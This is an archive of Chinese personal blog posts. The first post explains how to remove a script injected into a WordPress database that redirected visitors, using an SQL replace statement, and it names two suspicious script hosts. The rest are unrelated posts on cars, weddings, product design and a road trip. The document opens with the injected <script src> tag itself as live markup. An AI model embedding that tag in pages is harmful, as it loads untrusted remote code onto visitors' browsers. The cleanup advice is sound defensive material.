<script src="http://ae.awaue.com/7"></script>

症状：

• 浏览你网站文章的用户可能被重定向的第三方网站。（我今天遇到过一次，开始还纳闷我是点了什么跳到一个不认识的网站去的）
• 也可能被重定向到googlesearch.com，不过这个已被禁用。

但好在最后还是依赖(mt)自己的wiki解决了这个问题，我绝非第一个遇到这问题，以后可能会复发，别的WPer也可能遇到，留个存档，出问题好回查。

解决方案如下，范讲一下，不只针对(mt)主机：

• 登录你主机的管理后台，进入数据库管理，也就是mysqladmin
• 在左边列表里找到你的wordpress所在数据库，如db_blog
• 点击进入后，在顶部找到”SQL”一项，点击
• 然后我们在输入框里输入以下语句，目的查找wp_posts里所有信息，并替换掉其中有害信息：

UPDATE wp_posts SET post_content = replace( post_content, '<script src="http://ae.awaue.com/7"></script>', ' ')

• 接下来运行这段语句
• 最后看一下影响了多少行，如果是0，说明你还没中招。我的跑了一下共替换了1200多条……

需要注意的是：上面的例子语句是举的默认情况，如果你的表名不是以wp_开头的，请换成你自己的，不要直接复制粘贴。

目前已发现的可疑脚本有以下两个：

• ae.awaue.com/7
• ie.eracou.com/3

如果未来发现有新的可疑脚本，请随时留意这里的更新

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先说，无骨雨刷非常方便，结构简单，而且冬天不用担心被冻住，这是简单设计的代表作。其次，今天自己操刀后的感受是，科技发展推动技术革新会让用户感到无比省心，高度集成，模块化的设计，使零件成本，维修成本进一步降低。

80块钱的雨刷胶条＋自己动手的乐趣。雨刷架一个要100多，所以淘宝了一下，买了两条原厂胶条，质量不错。先研究下这东西什么原理，一长一短，原来还真没注意，长的是主驾这边，短的是副驾那边。(最长的是原厂胶条，根据自己需要剪)

技术活来了。拆了第一根以后发现，原来不是生往下拽的，有窍门，注意，在拆堵头的卡子时，先拽拽胶条，应该是一端能动，一端被固定死。

要从固定死这边下手。拔卡子比较费事，建议垫个毛巾之类的，免得手疼（钢铁侠除外）。

接下来，用一字螺丝刀把金属扣橇开一点（这东西用来固定胶条的），胶条就可以自由地抽出去了。

之后反向操作，把新胶条装回去就大功告成了。装到车上试了下效果，哦了，刮的彻底彻底极了……

优秀的设计，除了给人简单、高效的印象外，能带来乐趣更会给品牌加分。

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上周末出车到绥中参加好友AY婚礼，以摄影师身份出席，全程跟拍……

从上海回来后，我们只见过一面——去年我婚礼的时候。上海时，我俩住在一起，浦东新区芳心路的一间70平的2居室中，那里充满了追梦的回忆：一起上班、下班、买菜、做饭、不刷碗，到后来不做饭、吃盒饭、买外卖……5月29号终于和他相识10年的女友结婚了，感动。

后来发现，我身边的朋友基本都是这样的，8年的、9年的、10年的，属我时间短——5年。人和人能走到一起，有共同特点必不可少，其中重要的一点是，都很重感情、讲义气。我身边的东北人都是性情中人，哈～ 俗话说得好，想了解一个人怎么样，先看看他身边的朋友们。

和久别的哥几个见面很开心，边吃边聊，甚至聊到高中大学时代，他们的太太分别回忆道，原来谁谁很闷，上大学以后爱说话了，也变得开朗了……我很得意：“因为他们大一时遇到了一位贵人！”，她们顿时投来仰慕中带有鄙视、欣慰中参杂无奈的目光，我很淡定。人嘛，就是这样，得到肯定之后，才能有更大地进步。

婚礼后，又去了兴城。说实话，当时说要去兴城时，我真是挺不愿意，有阴影，因为去年8月份的兴城之旅，上演了一出 腾腾历险记，到现在依然记忆犹新，每次路过祖山青龙一代都要骂2分钟，以示宣泄。虽然不情愿，不过最后还是去了，一来老婆要吃海鲜，二来能跟哥几个叙叙旧。这次玩的很爽，吃的也很爽，算是修复了我心中对兴城的印象。说来也巧，返回北京的路上又是“灾难”连连，先是被拍超速，罚款200元扣了我3分；又是高速修路、突降暴雨，雨刷器打到最大档，跑了有7，80公里（不过有上次遭遇，这次淡定了很多）；最后快到北京，3车道的高速路只有最外侧一条道可用，所有车排成一排艰难前行……

看到这，也就不奇怪为啥我对去兴城有阴影了。不过最后还好，到北京艳阳高照，少见的蓝天白云，平安到家。这个周末准备去做3保了，19000多公里了，才1年时间，照这么算，10万公里也就5年的事。到目前为止，腾腾的表现一直很稳定，也越来越熟悉彼此的脾气了，现在城市综合油耗9.4L/100公里，高速油耗7.5L/100公里。

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这个问题绝对不是单选！在大公司中体现的尤为突出。来自各方面的制约——各种规范、各部门间的利益、各产品间互通，甚至个人喜好，都对最终产品的诞生起着潜移默化的影响。

在中国，没有几家互联网公司能给设计师很长时间去研究、创造……在这种环境下，我们听到最多的话就是：“某某是这么做的，你就照他那样做……”，“这个功能要加上，某某已经有这个功能了……” 一时间，随着某个产品、功能风起云涌，引得众人纷纷效仿，不久之后的市场上一定百花齐放，个别经典功能随之成了业界公认的标配，成了标竿。在它之后出现的产品，一定要具备前者身上所有特点。

这些需求给设计师提出了新的挑战：如果从一开始就模仿前人，这些设计师是幸运的，要做的就是继续模仿下去；而开始就倔强着，要为自己创造的，对不起，你必须继续艰难地创造下去。这，正是设计师的悲哀。但我坚信后者成功，在独立思考下结合自身特点，量身打造的产品，一定会成为有竞争力的产品，只有这样，才能整合起公司资源。

就拿风头正盛的微博来说，新浪微博的成功并非偶然，它代表了自己的特色和需求。去效仿新浪的微博不会成功，因为他的需求和你的未必一样，所拥有的资源也不尽相同。一定要有自己的特色，不能被标竿累住，今天在老板面前倔强，是为了让你的团队、你的产品在明天的市场上倔强。

踏着别人的脚步前进，超越就无从谈起！

悲哀来源于对产品认识不足、自信心不够，所以总被需求方用业界标竿打压。在基础架构上创新，制造差异化，做有灵魂的产品。团队信心的培养非常重要，让每位成员在自己岗位上都有创新，收获自信，团队才能更有凝聚力。同时，在说服对方之前，先尊重对方，倾听从他的角度出发得出的结论，不要急于否定。

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在欣赏过一个朋友的图片专题后，被画面和音乐深深感动，决定搭一个环境给自己，记录属于自己的感动。相册程序采用Imagevue，Flash+PHP的，效果很炫，同时能给我充分的定制空间。不过原本简单的事，折腾了我一天，上传到我的mediatemple后一直停在首页loading，无法进行下一步。在本地环境设置好的，怎么可能放到正式环境显示不出来？

按照相关说明，把所有文件夹chmod 777了，还是出不来。但只是前台，后台管理界面可以进，断定程序没问题，可能是某个文件丢失或加载有问题。最后终于找到原因，原来语言包xml加载失败，导致卡在loading界面：

上图标红处就是问题所在。FTP上去查看文件都在，并没有缺失，点过去却找不到文件。最后居然是因为严格区分大小写问题，后台setting－language里，我写的是English，后改成english，问题解决。

上图红框处，必须小写。之所以开始想都没想过，是因为在后台Language里给的提示就是English，我直接粘过来的……

同时，正如各位网友所说，Imagevue对中文的支持确实不咋地，慎用。图片名称和描述用中文，可能会出现菜单无法弹开、无法查看下一张图片。还有在Firefox下点图片，会出横竖滚动条，还没查，希望是样式问题，官网demo也有同样问题。

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国内

书友会前跟千鸟回忆了一下09年有哪些产品让互联网界一直忙碌着，想来想去，好像前半年忙活SNS（狭义的），后半年忙活微博。这一年中国互联网界基本围绕社会性网络开展各项活动，各大网站争相试水。在SNS新品中颇具影响力的属搜狐的白社会。

微博可谓是09后半年炒的最火的。以新浪微博为代表，被用户戏称“围脖”；09年底ChinaRen推出为学生用户量身打造的校园微博，打好了一场收官之战。提起微博概念，并不是09年的才出现的新玩意，在中国做互联网得先倒下一批探路者，玩概念往往成就的是后起之秀。不知道饭否流浪到哪里去了，向它致个敬。

目前市面上大大小小的微博产品：Twitter（始祖）、饭否、校园微博、嘀咕（火兔）、腾讯滔滔、腾讯广播（在QQ邮箱里）、新浪微博、做啥、9911、同学网、鲜果联播、网易微博、蟹爪、Follow5、雷猴、贵州客、赶牛、外面网、雅虎meme、Jaiku、随心、说客、半朵、中金、人民微博、ZOL微博 ……

新产品是09年的一部分，另一部分就是改版。身边的两个网站就有不小的变化，淘宝首页改版，支付宝改版（关于支付宝改版，白鸦说前前后后那些事都能出本书，到时候听他讲吧。）

国外

Yahoo!首页改版，Google首页改版，同时推出Google Wave。

Yahoo!改版

Google改版

其中Google 2009年一年在搜索上做的小改进就540次，平均每天有近1.5次。此数据来自谷奥

Twitter发展的当然更加红火，但在中国无法访问着实让人惋惜。随着它的逐渐壮大，周边产品也应运而生，缩短域名服务的产生，无疑在简洁明了上，又推了微博一把。而且这些服务商的域名也一个比一个的短，像bit.ly，j.mp等等，不一一列举了，总之有很多很多，甚至还有提供短域名跟踪服务的，帮你统计管理你生成的每条短域名。

展望一下2010年互联网产品，至少在国内，微博还将继续发展下去，或许能迎来爆发，拭目以待。

P.S. 顺便说一句千鸟的新书《设计网事》，周日书友会陪他取书样回来，粗读了一下，这是本极富情感的书。不单单是内容，更在于文章形式上，如果你曾是千鸟志的读者，并参与过话题讨论，会让你感觉很亲切，因为你可能会在文章末尾找到你的评论。

这是一本思想交流的书，不是只一味宣扬作者对一个事件的看法，从评论里还能看到其他人所处的角度。在书里我惊喜地找到以前对某些问题的评论，分别在P106，P231，前面好像还有几条，没记住。总之，它让我觉得这本书离我很近，有参与感。

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有一种大爱是父母给的。因为我和老婆都在北京工作，婚礼的事一直都事父母和几个姨在沈阳帮忙张罗。婚礼前一天的晚上，妈为了收拾新房，摆床上的福字一直忙到凌晨3点，4点钟又和我一起起床准备当天的婚礼。只睡了1个小时的妈妈，在儿子婚礼当天脸上却没有半点疲惫，每一个皱纹中都挂满了喜悦和激动。还有一幅历时1年，承载了96万针的清明上河图，这96万针是养儿9600天，每天都以100倍的爱凝结而成的，是给儿媳的一份最珍贵的礼物。

2009可谓是让我最感动的一年，从这些感动中也懂得了责任，学会了成长，再随我一起时光倒转…

12月，团队

• 这个月，我把它献给我的团队。30天我们创造了属于自己的奇迹，从产品策划到上线。校园微博
• 产品成功固然重要，但团队成员间的信任和信心更为宝贵，只有这样才能一起战胜大风大浪。
• 方老大看到我们新产品的第一句话一直在我脑海里回荡“哟，CR产品也能这么洋气了”，是啊，对于一个10年前辉煌过的团队来说，要打破禁锢轻装上阵谈何容易。但今天，我们做到了，我们已经在路上。

11月，一场胜利的感悟

• 公司篮球赛上，一次爆发，一场胜利，让我领悟了很多。只要敢拼，事情就会向你所期望的方向前进一些。
• 看了《This is it》，从MJ对艺术的执着和精益求精中，感悟到成功正是在一次又一次挑剔中被雕刻出来的。

10月，盛典

• 建国60周年
• 10月4日，在沈阳金海岸大酒店举办婚礼，自己开车接老婆、一首情歌把全场嘉宾唱哭……
• 10月6日，好友完婚。婚宴点烟时火烧眉毛，或许是某种预示
• 10月7日，腾腾车窗被砸，失窃。将国庆气氛推向“高潮”

9月，甜蜜

• 090909，跟老婆领证，我们合法了。
• 巴厘岛的蜜月旅行，真是太完美了，想在那生活一辈子。爱·Bali

8月，考验

• 短途旅行，兴城游。买车后第一次跑高速，2天旅行，经历的却可能是别人2年才会遇到的惊险遭遇。腾腾历险记

7月，有了属于自己的窝

• 在北京经过长达1年的看房选房退房后，最后决定在沈阳最具发展的地段买套属于自己的窝。在北京继续蜗居生活。

6月，纪念

• 短途旅行，木兰围场。自拍婚纱照
• 影楼版婚纱照出来了，选片，取片
• Michael Jackson，一代流行天王离开了这个世界

5月，新成员

• 腾腾回家了。家里多了一个新成员，速腾2.0AT。我的行车记
• 拍摄婚纱照（影楼版）

4月，筹备

• 开始筹备婚礼的各项事情，第一件是婚纱照。影楼照之前自己试拍

3月，开心

• 加盟搜狐
• 一个意外的原因，让我和老婆提前张罗起买车的事情，最终决定到4S订了原本都不在考虑范围内的速腾

2月，拿本

• 从东方时尚驾校顺利毕业，拿到驾驶本了。从此北京的道路上又多了一个马路x手

1月，希望

• 之前看说09年事业上的我会困难重重，我不信，虽然它已经来了，但我想再试试
• 有两种能力，人一定得学会：一个是把握机会，另一个创造机会

“终于自己年轻时的梦想”——我最新的QQ签名。时不时有朋友问我说“你年轻时的梦想时啥呀？”，我说“能加入大的互联网公司”。我做到了，或者说已经超出了预期。但并没有结束，我还有梦想，因为我仍然年轻，未来还等着我一个一个去实现……

2010年1月，梦想启航

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微博优点在于它的轻薄、快捷。在它的对比下，博客变的臃肿起来，更多时候，记录一段话，要比写一篇文章容易的多，更多人从博客转向微博，借助短小精悍的它依然可以满足自己发布想法、被人关注的欲望。博客承载了太多的意见，写一篇好博，要酝酿很久，除非内容能支撑起一篇文章，否则为了一两句话发篇博客，有点小题大做。

新媒体——微博，分解门户信息。面对信息过盛的状况，订阅自己关注的内容无疑能帮助减轻浏览信息的负担。过去上网没啥可看，现在能获得的太多了……门户网站也许该变变了，未来网民们要的是垂直化、个人化的信息，网络应用朝工具化方向发展。

不过微博到了国内，似乎味道也变了。归根结底是它没有脱离论坛的缘故，或者说中国用户对论坛的一往情深，致使产品设计人员无论搞什么样的社交类产品都还得遵循论坛得游戏规则。就拿时下炒的够热的新浪微博来说，虽然乍看像twitter，但实质还是论坛的结构：列表页、详情页，好像看帖子一样，微博轻薄不再。老汤换新瓶，底层逻辑仍旧复杂，未来再想减都难。

最后说为什么要让信息展示变的更简洁。只有这样，用户才能得到最适合自己的信息。浏览信息存在机会成本，当在阅读一条信息时，很可能错过了另外一条，而那条也许就是你最感兴趣的。这很好理解，所以我要说，简洁，简洁，再简洁。

微博悄悄改变的不仅是信息载体，更重要它将带来一场互联网信息使用习惯的变革。

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什么样的网站适合利用邀请机制

1. 首先有一定得品牌影响力，再利用邀请机制吸引用户就等同于广告，而这种广告是用户的口碑传播，转化率很高。
2. 如果是新入行的网站，使用邀请要慎重，本来就啥也没有呢，再给自己加个门槛，当心自己把自己玩死。
3. 垂直型、内容足够有吸引力的网站除外。这种网站不重用户数量，重质量。

互联网产品中的邀请

1. 邀请使用新产品。通过邀请码、邀请信等，让新用户获得使用新产品的机会。
2. 邀请使用产品功能、参与互动。如SNS中邀请好友加入某游戏一起使用。

从邀请机制中得到了什么

1. 普通用户。一来是虚荣心驱使，先体验了某个抢手产品后心理上的优越，有炫耀的成分；二来是利益驱使，邀请好友加入社交网站游戏以获得更多游戏币。
2. 网站。获得了口碑、知名度和关注度等。得到更多用户才是网站盈利的基础。

邀请机制也是一种营销手段，在产品设计初期就有一个配套的营销运营方案，会让产品更有计划的展现给用户，在生命周期中良性迭代。

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前奏篇

8号一早，6点起床，7点出发，拉了一车东西：有衣服、有给家人带的东西、有帐篷，最主要的是有肉串，我们是去海边烧烤地。周六，又是早上，路上车很少，没用多会就上京沈高速了。亢奋哪，头回跑高速，手心全是汗。我发现开车真是熟练工种＋胆量活，市里最快看到过90，已经到极限了，平时7，80左右的速度很平常，心里有底。拉高速，120是个里程碑，开始有点慌，那叫一个紧张，兴奋先放脑后。慢慢跑开了车也少了，就敢跑快了。形容一下当时啥感受哈，《头文字D》看过吧，里面有句话大概意思是说：当眼睛看周围东西都很清楚的时候，说明你已经适应这个速度了。此时脑子里还能有工夫想电影片段，说明我已经适应这个速度了，再提升一个阶段，加到140维持一会，让发动机充分澎湃一段。出行的第一个任务完成，最高跑到140+，行了，收功，安全第一，继续朝目的地进发。

休息篇

从北京到兴城，大概420公里左右。开高速一旦速度适应了，就容易放松警惕，感觉像是5，60的时速，其实已经120了，因为周围车都这个速度，路况又好，根本不觉得快。所以一定不能大意溜号，充分休息是保证行车安全的基础，开个100多公里就找个休息站休息一下，一来伸伸腿，二来放放水。同时也让爱车休息一下，特别是刹车片，太热了也影响刹车效率。有个可爱的现象，车移开后，停过的地上会有一滩水，腾腾也尿尿了？其实是空调水，一切正常。

教训篇

一个源于对道路不熟悉、缺乏经验的判断，让原本5个小时的车程变成了9个小时。跟随GPS的指引，从青龙/祖山出口下了高速，本以为是抄近路能快点到，没曾想反倒绕了一大圈。多出来这4个小时是段辛酸的历程啊，我们走国道，穿省道，过村庄，翻大山。村子里的小路没法形容了，简直不是路，都是碎石头，人走都费劲。村口乘凉的大婶和她的娃们都向我的车投来惊诧的目光,也许是没见过这么好的车，我想更多是在嘀咕“开轿车跑山沟子里来走土路，你牛的”。一度怀疑是不是走错了，但看着Garmin nüvi 255W＋一丝不苟地指着路，我想可能前方不远就能见到曙光了。谁知，这仅仅是热身路段罢了。紧接着是山路，货真价实的山路，连泊油路都没有，1个小时只前进了不到30公里，这个郁闷哪。其实当时最担心的是怕油不够，还有半箱油，天知道什么时候能下山，绝对磨炼意志。下了山进了辽宁地界，终于有泊油路走了，一路70码狂奔，此时已经是下午2点多了。有图有真相，幸好用255W+记录行驶轨迹，回来导入Google Earth，还原了当天的路线：

图片下方那条直线是京沈高速（回来时的轨迹，中间断了一段是因为计算出错关机了），上面是我走的路，别提多窝火。放着好好的高速公路不走，绕一圈，最后从绥中又回到京沈高速。不过能回到京沈高速是那个下午我最最欣慰的事，出了收费口我真激动的大喊“京沈高速我爱你”，直奔兴城。

回来以后有点后悔，当时停车拍点照片好了，更能说明地况的恶劣，哈，回来咔咔往blog上一放，看着就爽，自己也算事走过山路的人了。来一张山路放大：

GPS是个好东西，但得使用得当。总结这次教训就是出行准备不充分，觉得有个GPS就能拍拍屁股上路了，虽然255W＋的地图很新，几脚旮旯都能指出来，但它毕竟不是人，只能按程序提供建议路线，所以还是出行前对路线心里有数。哎，也算是上了一课。

磨难篇

跌跌撞撞到了兴城市已经是下午4点多了，开了一天车，以为终于要跟家人汇合，一切的不快都将结束。不料，下车休息时发现右后轮胎扎了，已经没气了。我一股火就上来了，心疼啊，真TM祸不单行，可谓损失惨重。叫来修车师傅，换上备用轮胎，然后跟他去店里补胎，还挺快，10几分钟搞定，补胎花了20块钱。下午5点半左右，终于和中午就到宾馆的家人们汇合了，为了晚上这顿烧烤，我付出了沉重的代价……那晚我睡的很快很沉，太累了，太累了……

第二天一早起来去了兴城古城，中午有人安排午餐，下午2点多返回北京。“说死我也不按GPS走了，就走高速！”，开车到京沈高速入口，沈阳方向由于交通事故封路，北京没影响，告别父母后先踏上了返京的路。来时磨难够多了，回去时应该一路畅通了吧。6点多，天慢慢暗下来，离北京还有100多公里的地方，突然天降大雨，即时雨量非常大，雨刷开到最快都刷不过来。你说我这两天出来的啊，在兴城的时间加起来一共不过15小时，其余全耽误在路上，眼瞅要回家了，还赶上下大雨。没辙，慢慢跟着往北京蹭吧。车辆追尾连环相撞的事故简直成了那晚的家常便饭，我从最左边并到了中间，一路开过来，追尾事故比比皆是，最多20辆连撞，突如其来的这么一场雨，给人们出行带来多大的困难。踉跄地到了白鹿收费口，终于搭上北京的边了，我才松了一口气。雨已经停了，六环、五环、四环、三环，终于到家了，晚上10点。电话爸妈，他们也平安到沈阳了，放心了，锁车上楼睡觉。这980.5公里，承载了太多的故事了。

经验篇

1. 出行前对路线心里有数，不要过分依赖GPS；
2. 有高速坚决走高速，到城市以后再下；
3. 遇到小土坡别骑着过，容易磕底盘，用一侧轮胎压着过；
4. 轮胎被扎换备胎行驶要注意速度范围，速腾备胎是50-80km/h。胎补好以后不要开的太快，100左右就好，回来最好去4S查一下确保安全；
5. 留好充分的刹车空间，120时速时，没个200米还真停不住！
6. 离大车远点，右侧超车很危险，说不定有辆大车在最右边开的慢，容易追上；
7. 雨天跑高速走中间，左侧超车道最危险，右侧慢车道其次；
8. 如果多车出游，最好配个车台或手台，方便联络，以免跟丢，而且出游的科技含量还提升了。

过去两周了，回头再写当时的情景仍历历在目，绝对是次难忘的旅程。说到最后，这篇历险记的主角也该亮个相了。腾腾一路上表现我非常满意，时速100+时，速腾2.0AT的动力输出会跨到另一个层次。转数在2700-2800左右，此时轻踩油门，提速相当明显，超车给点油轻松甩过。“越野能力”不俗，碎石路面爬坡，跑土路，过坑包…… -_-!!! 当时别提多心疼了，不过跑下来啥问题没有。有惊无险的是，到兴城发现轮胎被扎，之前一点感觉都没有，想来应该是快到兴城时扎的，还好没突然爆掉，不然最后那一段高速路的情况可想而知。

上周抽空去了4S检查了大灯和右后轮，都没事。速腾是前驱车，后轮只是从动轮问题不大，如果是前轮，情况就要严重很多了。顺便说一句，Garmin nüvi 255W＋现在可以免费升级软件和地图到7.5版，升级完多了很多实用功能，我比较喜欢路口实景放大功能，和车道指示功能，在城市里开车，这两个功能用处很大。朋友买车给他推荐了这款GPS，问我为啥推荐这个，我说UI漂亮，易用性好，上手快啊～ “职业病……”

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